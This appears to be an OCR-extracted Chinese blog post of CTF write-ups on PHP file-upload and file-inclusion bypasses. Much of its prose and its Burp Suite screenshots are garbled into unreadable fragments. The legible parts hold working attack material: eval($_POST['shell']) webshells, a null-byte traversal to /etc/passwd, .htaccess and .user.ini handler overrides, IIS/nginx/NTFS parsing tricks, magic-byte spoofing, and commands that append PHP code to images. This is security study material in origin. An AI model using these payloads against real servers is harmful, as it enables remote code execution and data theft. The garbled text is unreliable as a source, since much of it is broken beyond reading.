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2.4 HApache & 5o Vi AT HAth U & 4% 44, B anhttpd.confrh Bt B LA TFARAS:
AddType application/x-httpd-php .php .phtml

3. apachef@HT SR IIIRFF & WA BIZE 1, B RANREJG B 4k S5 4 HI B
(3) kA Geid

AU EAE—ANRFE RS, R)EburpilE, BEXUEH. XHContent-TypeR &
EEIE, HEEFEXContent-Typestit .

(4) 7

%00 bt . R AELHIEE &AM B EH R A BRI

NULLFFFE MW R A 2 R BNRE . —, HE#ELE, PHPAZEBHCES LUK, BRMERTEsHH—
P A7 B A B R 4, FEIBEINULL(XO0) 75T, AbE BBt &K B SES RS . X MR HBIERATEH
BELERANEEN T .

<?php
$file = $_GET['file'];
include $file.'tpl.html’;
?>
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ERZENE, XBAEFAREERSEERH. ERENULLZFRHBT, RIATFERRL:
?ile=../../..letc/passwd%00

BN AT B Blpasswd XX, 52 RUMERMABAKEST. .
?ile=../..111/]{*N}/etc/passwd

AR T K BREKN RSEFEEHEBRE. PEXHMEFREEPHPRAKESH EREHT . RIE
P21 LR D o

73— AN IE BT R 1% L A IE 8 B9 68 A iconv R 3 -

<?php
$file = $_GET['file'].'tpl.html’;
include(iconv("UTF-8", "gb2312", $file) );
?>

fEiB 2lfile & A& AHEUTF-8 74T, iconvil Hsl S BTN F47 5

B MEIXAME L, BATR TR ?file = shell jpg%ff BIFT, FENFEutf-8FRF&EH, BA“\X80-\X" & & ki
f. XAMRIAWindows RGAF7E, FEFRKIPHPHHGRIES.

:SDATAZ: it
W RWiIndows R4t, WAZRZphpIhss, D22 AN B 14
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Bitm: shell.php - shell.php::$DATA
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Actions w

POST /?road=/var/www/htm|/upload/123. php%00 HTTP/1.1
Host: 101.42. 224, 57:30007

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winb4;
x64; rv:99.0) Gecko/20100101 Firefox/99.0

Accept:

text/html, application/xhtml+xml, application/xml;q=0.
9, image/avif, image/webp, ¥/*:q=0.8

Accept—-Language:

zh=CN, zh;g=0. 8, zh=TW; g=0. 7, zh—-HK; g=0. 5, en-US;g=0. 3, e
n;q=0.2

Accept—Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary= 4279713727322535
26781509196662

Content-Length: 368

Origin: http://101.42. 224, 57:30007

Connection: close

Referer:

http://101.42.224. 57:30007/?road=/var/www/html/uploa
d/

Upgrade—Insecure—Requests: 1

42797137273225352678150
9196662
Content-Disposition: form-data; name="file";

filename="1. jpg"|
Content-Type: image/jpeg

<{?php eval ($_POST['shell']): ?>
42797137273225352678150

%007t POST A i
% REPOST R I IR 1%, TEA 9 FIVE R 2R B A1 ER %00 fift— MURLARHY

‘retty

Raw Render \n

HTTP/1.1 200 OK

Date:

Thu,

Server: Apache/2.2.22 (EL)
X-Powered-By: PHP/5.2.17

Connection:

close

Actions w

21 Apr 2022 09:44:37 GMT

Content-Type: text/html;charset=utf-8

1
2
3
4
5 Gontent-Length: 1811
6
7
8

9 <!DOCTYPE html>

"error”) ;

swal ("RRIFLEE jpg jpeg png gif FERIAIH",

10 <html>
11 <head>
12 <{meta charset="UTF-8">
13 <title>
HENIRR?

Stitler
14 {script>
15 function error () {
16 swal (" _LfE5&ng”,
17 1
18
19 function black() {
20
21 }
22
23 function success() {
24 swal (" EfERIN",
25 }
26 </script>
27

<{script src=",/attachs/sweetalert,min,j§f>

{/script>

"success") ;

CSDN @uH 742

{img src=". /upload/4220220421100701. jpg" ¢

<{form method="post" enctype="multipart/form-

<{input type="hidden" name="save_path" vz

<{input type="file" class="form—control-1
<input type="submit" name="submit" value

12 VONTENT~UVISPOSITION Engagement tools > e
16 h t method 41 <div>
ange request metho

17 . /upload/123. php00 g9 42
18 Change body encoding 34220

9502005 Copy URL <Sdive
19 content_DiSDOsition Copy as curl command le" ' 43 .

filename= 1,Jpg Copy to file 44 {div class="form—group">
20 Content-Type: image . 45
21 Paste from file
22 <7php eval (§_POST['H  Saveitem 46
23 Save entire history 34220 47

9502005 Paste URL as request 48 </div>
24 Content-Disposition . 49 </form>
25 Add to site map En S AAdiu
26 Upload Convert selection > URL > URL-decode Ctrl+5Shift-U
27 URL-encode as you type HTML > URL-encode key characters Ctrl-U

9502005 Cut Ctrl-X Basebd > URL-encode all characters
]

PN E Copy Ctrl-C Construct string > URL-encode all characters (Unicode)

®@ Dacta Ceel |

[ACTF2020 %14 3% ]Upload
EA—A—81EAR S php3ef, KEBILIE.

CSDN @7 Anigtdites




S 6-b476-46fc-bad0-33fbsbafd663.noded.buuoj.cn:81

BT LS, B EfSipg. png. gifsSRAIEIHIA!

P s E RN . jpg kAL, FEkfilename/g 4% 4 .php -

Lo == == mmm e m e mme oo £L700MDN M ILWS 3L TOIII00% T LLILET 1600 =fsvg>

L5 Content-Disposition: form-data; name="upload file"; filename="123. php" 101 <div class"light">
L& Content-Type: image/]peg =span clas="glow"=>
L7 1e2 =form enctype="multipart/form-data" method="post" onsubmit="
8 I return checkFilea()"=
I 217880647320722778233884711329 102 Bt GEWET |
20 Content -Disposition: form-dats; name="submit" 104 <input class="input_file" type="file" name="uplead file"/>
21 165 <input class="button" type="submit" name="submit" value="
12 upload upload" />
R e 217880647320732778333884711325 - - 1606 = Form=
24 187 </span>
<span class="flare">
</span=
<div=
108 <fdiv=
109 <fdiv=
118 nonono~ Bad file! )
e S PN e i w1 ol W TP
DBy («])[=2] [ search... | omatches ({0} [€)[=2] [ search... SO "'-_f-".gu';r,r,-ma.'-_,.:_ii_,;'rz

% . nonono bad file. EATER—iXphp3, php4, phtml. &I phtmiaTLL,
BABMY— 1ERY, KIWFE] BEH; M Hresponse. MEEZEMLSIAT.

MigE<?="Is/ ?>

5 Content-Type: image/]peg 15
6 17 “link rel="stylesheet" href="css/style. css" mediz="scresn" type="
7 =r="1s /7= text/css" /=
- 3767370294 2685468694 4273604221 1
9 Content-Disposition: form-data; name="submit" 15 <script type="text/javascript" src="./js/main.js">
0 =fscript>
1 upload 28
- 3767370294 2685468694 4273604221 - - 21 =/heads
3 22 <hody=
23 =div class="sitemakers">
24 =div class="wrap"=
=svg class="bulb" versior="1.1" xmlns="http: //www. w3, org/2000/svy
" oxmlns: xlink="http: //www. w3 org/1999/x1ink" x="0px" y="0px"
width="128px"
25 height="128px" viewBox="0 0 128 128" enable-background="rew @ 0
" . W, ——— - e e ]
- 128 1287 xml: spaces"prazeruats CSDN @ua = iE42
EXF e Y |y p— [ YSSIT € N ¥ r ) R [y | p— [

o a buuoj.cn

KaliLinux # KaliTools = KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

in boot dev etc flag home lib lib64 media mnt opt proc root run sbhin srv sys tmp usr var

<?="cat /flag’ 7> & Flflag.
A PATRE, VBRI Tshell_exec().
<?=fER# X TF <?php echo
[ % K $kdk 2019]Upload
RO LA SCHE, #HRZnotimage, LfE—AN.jpgfFikiR .
K BDon't lie to me, it's not image at all!!! .

BEOUHES 4%, Hphtml, sendit. ERBAIEANLKIRE, KN



NO! HACKER! your file included '<?'
FrUBRMNBFEBECE ARSI, Sl <2 " REBYON:
<script language="php">eval (§ POST['shell'])</script>
EARE . ATRFER AR E. RIMEAE R KGIF8%a
AT, WEERE /upload/123.phtml . ZFshell. B3 flag
Bg.
B ks, JENLEGIF8%a.
<?%%it, ik A<script language="php">eval ($ POST['shell'])</script>
[MRCTF2020]#R 4% & [ WE
EA% jogse R B AR T . IR JE B Aphp, phtmIS&#EA AT EL,
%8 b 4% htaccess U583
RBLAT A 4% htaccess U4

R 3219/0bb2D2U U2 /6128 /214 Warning

i Content-Dispeositien: form-data; name="upleaded"; filename=". htaccess" </b>

7 Content -Type: imagesqpeqg : mkdir(): File exists in <b>

3 Svarfwew/html fuplead. php

3 </b>

R e e e 3519756655507 305297812875147 on Line =h=

L Content-Dispositien: form-data; name="submit" 23

H </b>

3 —lEt <hr /=

f ----------------------------- 3519756655507905297612875147 - - 1& ,-'var‘,-‘www,-’html,-‘upload!d4ca@26238f34fFFd]PﬂfE]fj.l?TSI;’gh!b;-él’-..i'—'.*T?fIceﬂs/
3 succesfully uploaded! it =g 41 I e i
EXHREBA:

<FilesMatch "123.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

8(# AddType application/x-httpd-php .jpg

1%123.jpg 34 AT AR 24 1E php S AT .

W §1) 7% B2 /upload/d4ca026238f34fffd154c0817e5¢c7bb4/123.jpg. #Aigshell, 15 ZFlflag.
[GXYCTF2019]BabyUpload

W& b A% php,.phtml%E, K3 J5% 42 A aeHph!

b jpgsc KB EAE T . ] .htaccess3Cf, AR ELTY.

5 I 7E .htaccess U F B A

AddType application/x-httpd-php .jpg

. jpg 344 7T LA 4/ phpARAS 34T -

£ EAER123 jpg it B N,



(S Er S ]

I e T T T T T T 30841335192093850241 2335844883 </title=

| Content -Disposition: form-data; name="uploaded"; filename="123.jpg" 15 =form actiore"" method="post" enctype="multipart/for
' Content -Type: image/jpeg 15 Eff%#t<input type="file" name="uploaded" /=

; 17 <input type="submit" name="submit" value="L{E" /=
I <?php eval($_POST['shell']); 7= 18 </form=

F ] et s 308413351920988502412335844883 i, BIMHW | SRR E R phpiR

. Content -Dispesition: form-data; name="submit"

[ .
B 30841335192098850241 2335844883 - - CSDN @ *E : .q Fad0

RI<?php BRI H K. eid, Migpayload:

<script language="php">eval($_POST['shell']);</script>

O EAERT . BLEE R/ upload/6498a4fd54f9f27e7cd4586a8467f3d2/123.jpg Zfdshell, 15 Zlflag
[SUCTF 2019]Checkin

XIE AN F) T AR B SO B A%, RE A El.user.inisC 4

.user.iniXX 4 B FIPHPJE ] - phithOn

.user.ini. Blt.htaccessHKIE ", A& Rnginx/apache/llS, RE & lfastcgiiz 1T HIphp#Eal LR X AN 7
&0

FEHNBERTH, curl - URLJG EIA Zapachefii 4548 . openresty & Nginxfii 458 it LA .htaccess X R T o
b4 .user.inixtfF, B

GIF89a

auto_prepend_file=123.jpg

FA£123.jpgE i XHEB ARG,

<?¥iid3E, [HkH<script language="php">eval($_POST['shell']);</script>.
H#EEindex.php, HE<HIIEE123.jpg3C 4.

I &% #Eindex.php, 75 Zlflag.

[pwnthebox] hello

crtl+uk B upload.php

¥ Kurl fileZ2# ~upload.phpB &1, E bftjpg, pngXEEA .

F123.jpgia i, BEA—AEAD, BEXELRN.phpRRAT. HiE #4858 123.php%00.jpgh
Wik sed 54 A .

0207928
0 Content-Disposition: form—data; name="file";
filename="123. php%00. jpg"
1 Content-Type: image/jpeg

afe to rely on the system's timezone settings. You
. php

2
3 <{?php eval ($§_POST['shell']); 7>
4 32478903193708146243425
0207928-- .
5 22 !Save in: upIoad/202204210308218242 ?E
@ WEA2

Vi R BAT AR RSO, RIL<PEE IR T _


https://wooyun.js.org/drops/user.ini%25E6%2596%2587%25E4%25BB%25B6%25E6%259E%2584%25E6%2588%2590%25E7%259A%2584PHP%25E5%2590%258E%25E9%2597%25A8.html

« C O & https://1719-e802315e-120a-48a8-bfad-9c025077e1b7.do-not-trust hacking.run/index.php?file=upload/202204210308218242jpg B
Dwiersss @ Hirrlr DEARL O =FEEs | g FreeBufEz 2Tk, |3 BurpsuitefBiffiZaE.. & Windows 10 BEJav.. © Kirts [ SA=E.xt - master.. & PHP 1B | 580

_eval($_POST['shell); _

CSDN @#afET k42

R B A& <script language="php">eval($_POST][shell]);</script>3k£id .
W EIER, 152flag.

Je 55 2% AR AT R V-
1ZRARINSEH ) B RMHTIRE, R HRAFH—A Lasp/ B, WALER T~ ALY
fEaspl AR

2EWAMNS6F 53 SR : ISTEMBIT ALK E T Rel 2 S EHKMANAEESR, BARATAT LLAE _E4& 55
145 R TH M55 2 K8 B A B I8,

a.asp;jpg

3.IH R Windows Serverd 7 7£ 25 ¥ Al dotds i 25 L4 T a.php. 1 a.php[Z#5]

IXFER SO 2 A B 2 windows 2 3 s S 4%, ANTIAE/S N X AR PE W] AR IS U8, B2 bA%, FFHAES
YEphpRAG R AT

4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)% ¥ ¥ KA

XxX.jpg%00.php

XEEH U 2 BRI IphpfRI%iE1T (fastcgioiBiXA M4 2iphpE, ARTEFTHM, HEKREXHEHK
BT E N EENARAEIRT, FrLlRiAjpg)

¥: phphiAE/NT53.4, 534K EEREE %S

5.apache1.x,2.x{I @&, L1&a.php.rar a.php.gif

R4, AT LAkt F php s B 3 HLE], {E & B Fapache e @i SO & B g & WA T Ak, ik
BREIARRRBINY B L NBkT, rarSy B4 Zapache NEEIRAIN, B4 BB KALRB iphp, Mk E
THEANphpRIGH EH 19

6.WMREFRE BN X HERBHITNEHER, BAELEKERETLEE, WPhP. FRLFIMASESEET
BEBRE, w1.php

FlHwindowsHit:, B EREBERLHBER".", WATEFRL M "#iT5R.

MREFRESICS EEXHEHR2#IT - DATARE, FAwWindowsHINTFS XX s, W&
JG %% 4 T ohn o DATAREE, FIFwindowsHINTFSSCAEHise Ik, ATFER4RA N - DATALEE, FIMH
windowsINTFSC 4, FITESE 44 Fn”:DATA BT geid

SRR ATIRIA .45_2ediy18%5-CSDNI
SOk R B AR R

AR kK

JPG FF D8 FF EO 00 10 4A 46 49 46
GIF 47 49 46 38 39 61(HH 24 T 3L A K GIF89a)
PNG 89 50 4E 47

B A DR 75

W—aEARGEANE YT, —HIERSREFAEBANERRFKHF L BRRSERSHHRT) , WindowstiT
WEHA).copy xx.jpg/b+test.php/a test.jpg; LINUXKGHEANMAITIER]: cat test.php >> xx.jpg

copy 1.jpg|png|gif/b + 1.php/a 2.jpg
\blL —iHIREH . &M \atge lasclligREH#]. &3
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